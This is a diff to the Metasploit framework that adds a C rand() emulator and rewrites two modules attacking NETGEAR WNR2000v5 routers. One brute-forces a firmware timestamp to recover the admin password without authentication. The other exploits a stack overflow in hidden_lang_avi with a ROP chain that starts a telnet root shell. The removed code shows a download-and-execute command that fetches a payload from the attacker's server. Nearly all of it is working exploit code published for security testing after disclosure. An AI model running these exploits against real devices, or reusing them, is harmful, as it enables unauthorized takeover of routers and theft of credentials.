diff --git a/lib/msf/core/auxiliary/crand.rb b/lib/msf/core/auxiliary/crand.rb new file mode 100644 index 0000000000..9635306d07 --- /dev/null +++ b/lib/msf/core/auxiliary/crand.rb @@ -0,0 +1,113 @@ +module Msf + +### +# +# This module provides a complete port of the libc rand() and srand() functions. +# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might +# be useful for any other module that needs to emulate C's random number generator. +# +# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security +# +### +module Auxiliary::CRand + + attr_accessor :randtbl + attr_accessor :unsafe_state + +#################### +# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c +# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c + + TYPE_3 = 3 + BREAK_3 = 128 + DEG_3 = 31 + SEP_3 = 3 + + def initialize(info = {}) + super + + @randtbl = + [ + # we omit TYPE_3 from here, not needed + -1726662223, 379960547, 1735697613, 1040273694, 1313901226, + 1627687941, -179304937, -2073333483, 1780058412, -1989503057, + -615974602, 344556628, 939512070, -1249116260, 1507946756, + -812545463, 154635395, 1388815473, -1926676823, 525320961, + -1009028674, 968117788, -123449607, 1284210865, 435012392, + -2017506339, -911064859, -370259173, 1132637927, 1398500161, + -205601318, + ] + + @unsafe_state = { + "fptr" => SEP_3, + "rptr" => 0, + "state" => 0, + "rand_type" => TYPE_3, + "rand_deg" => DEG_3, + "rand_sep" => SEP_3, + "end_ptr" => DEG_3 + } + end + + # Emulate the behaviour of C's srand + def srandom_r (seed) + state = @randtbl + if seed == 0 + seed = 1 + end + state[0] = seed + + dst = 0 + word = seed + kc = DEG_3 + for i in 1..(kc-1) + hi = word / 127773 + lo = word % 127773 + word = 16807 * lo - 2836 * hi + if (word < 0) + word += 2147483647 + end + dst += 1 + state[dst] = word + end + + @unsafe_state['fptr'] = @unsafe_state['rand_sep'] + @unsafe_state['rptr'] = 0 + + kc *= 10 + kc -= 1 + while (kc >= 0) + random_r + kc -= 1 + end + end + + # Emulate the behaviour of C's rand + def random_r + buf = @unsafe_state + state = buf['state'] + + fptr = buf['fptr'] + rptr = buf['rptr'] + end_ptr = buf['end_ptr'] + val = @randtbl[fptr] += @randtbl[rptr] + + result = (val >> 1) & 0x7fffffff + fptr += 1 + if (fptr >= end_ptr) + fptr = state + rptr += 1 + else + rptr += 1 + if (rptr >= end_ptr) + rptr = state + end + end + buf['fptr'] = fptr + buf['rptr'] = rptr + + result + end + +end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 46372750ea..a539d1fe9c 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -4,6 +4,7 @@ # Auxiliary mixins # require 'msf/core/auxiliary/auth_brute' +require 'msf/core/auxiliary/crand' require 'msf/core/auxiliary/dos' require 'msf/core/auxiliary/drdos' require 'msf/core/auxiliary/fuzzer' diff --git a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb index 4cb7a1371a..af0c440ebe 100644 --- a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb +++ b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb @@ -4,16 +4,23 @@ ## require 'msf/core' +require 'time' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report + include Msf::Auxiliary::CRand def initialize(info = {}) super(update_info(info, - 'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset', + 'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery', 'Description' => %q{ + The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. + This vulnerability can be exploited by an unauthenticated attacker who is able to guess + the value of a certain timestamp which is in the configuration of the router. + This module works very reliably and it has been tested with the WNR2000v5, firmware versions + 1.0.0.34 and 1.0.0.18. It should also work with the v4 and v3, but this has not been tested + with these versions. }, 'Author' => [ @@ -23,17 +30,59 @@ class MetasploitModule < Msf::Auxiliary 'References' => [ ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], - ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'] + ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'], + ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], - 'DisclosureDate' => 'Dec 20 2016', - + 'DisclosureDate' => 'Dec 20 2016')) register_options( [ Opt::RPORT(80) ], self.class) + register_advanced_options( + [ + OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), + OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) + ], self.class) end - - def get_password (q1, q2) + + def get_current_time + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res['Date'] + date = res['Date'] + return Time.parse(date).strftime('%s').to_i + end + end + + # Do some crazyness to force Ruby to cast to a single-precision float and + # back to an integer. + # This emulates the behaviour of the soft-fp library and the float cast + # which is done at the end of Netgear's timestamp generator. + def ieee754_round (number) + [number].pack('f').unpack('f*')[0].to_i + end + + + # This is the actual algorithm used in the get_timestamp function in + # the Netgear firmware. + def get_timestamp(time) + srandom_r time + t0 = random_r + t1 = 0x17dc65df; + hi = (t0 * t1) >> 32; + t2 = t0 >> 31; + t3 = hi >> 23; + t3 = t3 - t2; + t4 = t3 * 0x55d4a80; + t0 = t0 - t4; + t0 = t0 + 0x989680; + + ieee754_round(t0) + end + + def get_creds res = send_request_cgi({ 'uri' => '/BRS_netgear_success.html', 'method' => 'GET' @@ -41,20 +90,20 @@ class MetasploitModule < Msf::Auxiliary if res && res.body =~ /var sn="([\w]*)";/ serial = $1 else - puts "[-]Failed to obtain serial number, bailing out..." - exit(1) + fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...") end - + # 1: send serial number res = send_request_cgi({ 'uri' => '/apply_noauth.cgi?/unauth.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', - 'vars_post' => + 'vars_post' => { 'submit_flag' => 'match_sn', 'serial_num' => serial, 'continue' => '+Continue+' + } }) # 2: send answer to secret questions @@ -62,69 +111,113 @@ class MetasploitModule < Msf::Auxiliary 'uri' => '/apply_noauth.cgi?/securityquestions.cgi', 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', - 'vars_post' => + 'vars_post' => { 'submit_flag' => 'security_question', - 'answer1' => q1, - 'answer2' => q2, + 'answer1' => @q1, + 'answer2' => @q2, 'continue' => '+Continue+' - }) - + } + }) + # 3: PROFIT!!! res = send_request_cgi({ 'uri' => '/passwordrecovered.cgi', 'method' => 'GET' }) - + if res && res.body =~ /Admin Password: (.*)<\/TD>/ password = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to obtain password") end - + if res && res.body =~ /Admin Username: (.*)<\/TD>/ username = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to obtain username") end - - print_good("#{peer} - Success! Got admin username #{username} and password #{password}") - return [username, password] - end + return [username, password] + end + + def send_req(timestamp) + begin + uri_str = (timestamp == nil ? \ + "/apply_noauth.cgi?/PWD_password.htm" : \ + "/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}") + res = send_request_raw({ + 'uri' => uri_str, + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}" + }) + return res + rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + return + end + end def run - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"), - 'vars_get' => { 'cmd' => "loaddefconfig" } - }) + # generate the security questions + @q1 = Rex::Text.rand_text_alpha(rand(20) + 2) + @q2 = Rex::Text.rand_text_alpha(rand(20) + 2) - if res && res.code == 401 - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], "login.php"), - 'vars_post' => { - 'user' => datastore['USERNAME'], - 'pass' => datastore['PASSWORD'], - 'submit' => "Login" - } - }) - if res && (res.code == 200 || res.code == 302) - cookie = res.get_cookies - else - fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.") - end - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"), - 'cookie' => cookie, - 'vars_get' => { 'cmd' => "loaddefconfig" } - }) + # let's try without timestamp first (the timestamp only gets set if the user visited the page before) + print_status("#{peer} - Trying the easy way out first") + res = send_req(nil) + if res && res.code == 200 + credentials = get_creds + print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") + return end - if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/ - print_good("#{peer} - Device has been reset to the default configuration.") + # no result? let's just go on and bruteforce the timestamp + print_bad("#{peer} - Well that didn't work... let's do it the hard way.") + + # get the current date from the router and parse it + end_time = get_current_time + if end_time == nil + fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") + end + if end_time <= datastore['TIME_OFFSET'] + start_time = 0 else - print_error("#{peer} - Failed to reset device.") + start_time = end_time - datastore['TIME_OFFSET'] + end + end_time += datastore['TIME_SURPLUS'] + + if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i + end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i + end + + print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") + print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).") + + # work back from the current router time minus datastore['TIME_OFFSET'] + while true + for time in end_time.downto(start_time) + timestamp = get_timestamp(time) + sleep 0.1 + if time % 400 == 0 + print_status("#{peer} - Still working, trying time #{time}") + end + res = send_req(timestamp) + if res && res.code == 200 + credentials = get_creds + print_good("#{peer} - Success! Got admin username #{credentials[0]} and password #{credentials[1]}") + return + end + end + if start_time == 0 + # for the special case when the router resets the date to 1 Jan 1970 + start_time = end_time - (datastore['TIME_SURPLUS']) + end_time += datastore['TIME_OFFSET'] + else + end_time = start_time + start_time -= datastore['TIME_OFFSET'] + end + print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}") end end end diff --git a/modules/exploits/linux/http/netgear_wnr2000_rce.rb b/modules/exploits/linux/http/netgear_wnr2000_rce.rb index 4813c97273..913838c1c7 100644 --- a/modules/exploits/linux/http/netgear_wnr2000_rce.rb +++ b/modules/exploits/linux/http/netgear_wnr2000_rce.rb @@ -10,14 +10,21 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper + include Msf::Auxiliary::CRand def initialize(info = {}) super(update_info(info, - 'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution', + 'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow', 'Description' => %q{ + The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi + parameter. + In order to exploit it, it is necessary to guess the value of a certain timestamp which + is in the configuration of the router. An authenticated attacker can simply fetch this + from a page, but an unauthenticated attacker has to brute force it. + This module implements both modes, and it works very reliably. It has been tested with + the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the v4 + and v3, but this has not been tested - with these routers it might be necessary to adjust + the LibcBase variable as well as the gadget addresses. }, 'Author' => [ @@ -28,39 +35,50 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], - ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'] + ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'], + ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] ], 'Targets' => [ [ 'NETGEAR WNR2000v5', { - 'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions - 'System' => 0x547D0, - 'Gadget' => 0x2462C, + 'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so) + 'SystemOffset' => 0x547D0, + 'GadgetOffset' => 0x2462C, #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()): #LOAD:0002462C addiu $a0, $sp, 0x40+arg_0 #LOAD:00024630 move $t9, $s0 #LOAD:00024634 jalr $t9 - 'Arch' => ARCH_MIPSBE, 'Payload' => { - 'BadChars' => "\x00\x25\x26" + 'BadChars' => "\x00\x25\x26", + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, }, } ], ], + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate' => 'Dec 20 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), - OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]), - OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), - OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), - OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), + OptString.new('USERNAME', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']), + ], self.class) + register_advanced_options( + [ + OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), + OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200]) ], self.class) end - + def check res = send_request_cgi({ 'uri' => '/', @@ -76,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote end Exploit::CheckCode::Safe end - + def uri_encode (str) "%" + str.scan(/.{2}|.+/).join("%") end @@ -93,80 +111,156 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res['Date'] date = res['Date'] - Time.parse(date).strftime('%s').to_i + return Time.parse(date).strftime('%s').to_i end end - def get_auth_timestamp(mode) - res = send_request_cgi({ + def get_auth_timestamp + res = send_request_raw({ 'uri' => '/lang_check.html', - 'method' => 'GET' + 'method' => 'GET', + 'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")} }) if res && res.code == 401 # try again, might fail the first time - res = send_request_cgi({ + res = send_request_raw({ 'uri' => '/lang_check.html', - 'method' => 'GET' + 'method' => 'GET', + 'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")} }) - if res && res.code == 200 - if res.body =~ /timestamp=([0-9]{8})/ - $1.to_i - end + end + if res && res.code == 200 + if res.body =~ /timestamp=([0-9]{8})/ + $1.to_i end end - end + end + + # Do some crazyness to force Ruby to cast to a single-precision float and + # back to an integer. + # This emulates the behaviour of the soft-fp library and the float cast + # which is done at the end of Netgear's timestamp generator. + def ieee754_round (number) + [number].pack('f').unpack('f*')[0].to_i + end + + + # This is the actual algorithm used in the get_timestamp function in + # the Netgear firmware. + def get_timestamp(time) + srandom_r time + t0 = random_r + t1 = 0x17dc65df; + hi = (t0 * t1) >> 32; + t2 = t0 >> 31; + t3 = hi >> 23; + t3 = t3 - t2; + t4 = t3 * 0x55d4a80; + t0 = t0 - t4; + t0 = t0 + 0x989680; + + ieee754_round(t0) + end + + def get_payload + rand_text_alpha(36) + # filler_1 + calc_address(target['LibcBase'], target['SystemOffset']) + # s0 + rand_text_alpha(12) + # s1, s2 and s3 + calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget + rand_text_alpha(0x40) + # filler_2 + "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload + end + + def send_req(timestamp) + begin + uri_str = (timestamp == nil ? \ + "/apply_noauth.cgi?/lang_check.html" : \ + "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}") + res = send_request_raw({ + 'uri' => uri_str, + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}" + }) + rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + return + end + end def exploit - - print_status("#{peer} - Attempting to exploit #{target.name}") - if target == targets[0] - send_payload(prepare_shellcode_mips) + # 1: try to see if the default admin username and password are set + timestamp = get_auth_timestamp + + # 2: now we try two things at once: + # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that + # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before) + print_status("#{peer} - Trying the easy way out first") + send_req(timestamp) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) + if not sock.nil? + print_good("#{peer} - Success, shell incoming!") + return handler(sock) + end + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + sock.close if sock + end + + print_bad("#{peer} - Well that didn't work... let's do it the hard way.") + + # no shell? let's just go on and bruteforce the timestamp + # 3: get the current date from the router and parse it + end_time = get_current_time + if end_time == nil + fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") + end + if end_time <= datastore['TIME_OFFSET'] + start_time = 0 else - downfile = rand_text_alpha(8+rand(8)) - @pl = generate_payload_exe - @elf_sent = false - resource_uri = '/' + downfile + start_time = end_time - datastore['TIME_OFFSET'] + end + end_time += datastore['TIME_SURPLUS'] - #do not use SSL - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end + if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i + end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i + end - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end + print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") + print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).") - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{peer} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - datastore['SSL'] = true if ssl_restore - print_status("#{peer} - Asking the device to download and execute #{service_url}") - - filename = rand_text_alpha_lower(rand(8) + 2) - cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" - - shellcode = prepare_shellcode_arm(cmd) - - print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.") - counter = 0.00 - while (not @elf_sent) - if counter % 50.00 == 0 && counter != 0.00 - print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") + # 2: work back from the current router time minus datastore['TIME_OFFSET'] + while true + for time in end_time.downto(start_time) + timestamp = get_timestamp(time) + sleep 0.1 + if time % 400 == 0 + print_status("#{peer} - Still working, trying time #{time}") + end + send_req(timestamp) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) + if sock.nil? + next + end + print_status("#{peer} - Success, shell incoming!") + return handler(sock) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + sock.close if sock + next end - send_payload(shellcode) - sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine - counter += 1 end - print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") + if start_time == 0 + # for the special case when the router resets the date to 1 Jan 1970 + start_time = end_time - (datastore['TIME_SURPLUS']) + end_time += datastore['TIME_OFFSET'] + else + end_time = start_time + start_time -= datastore['TIME_OFFSET'] + end + print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}") end end end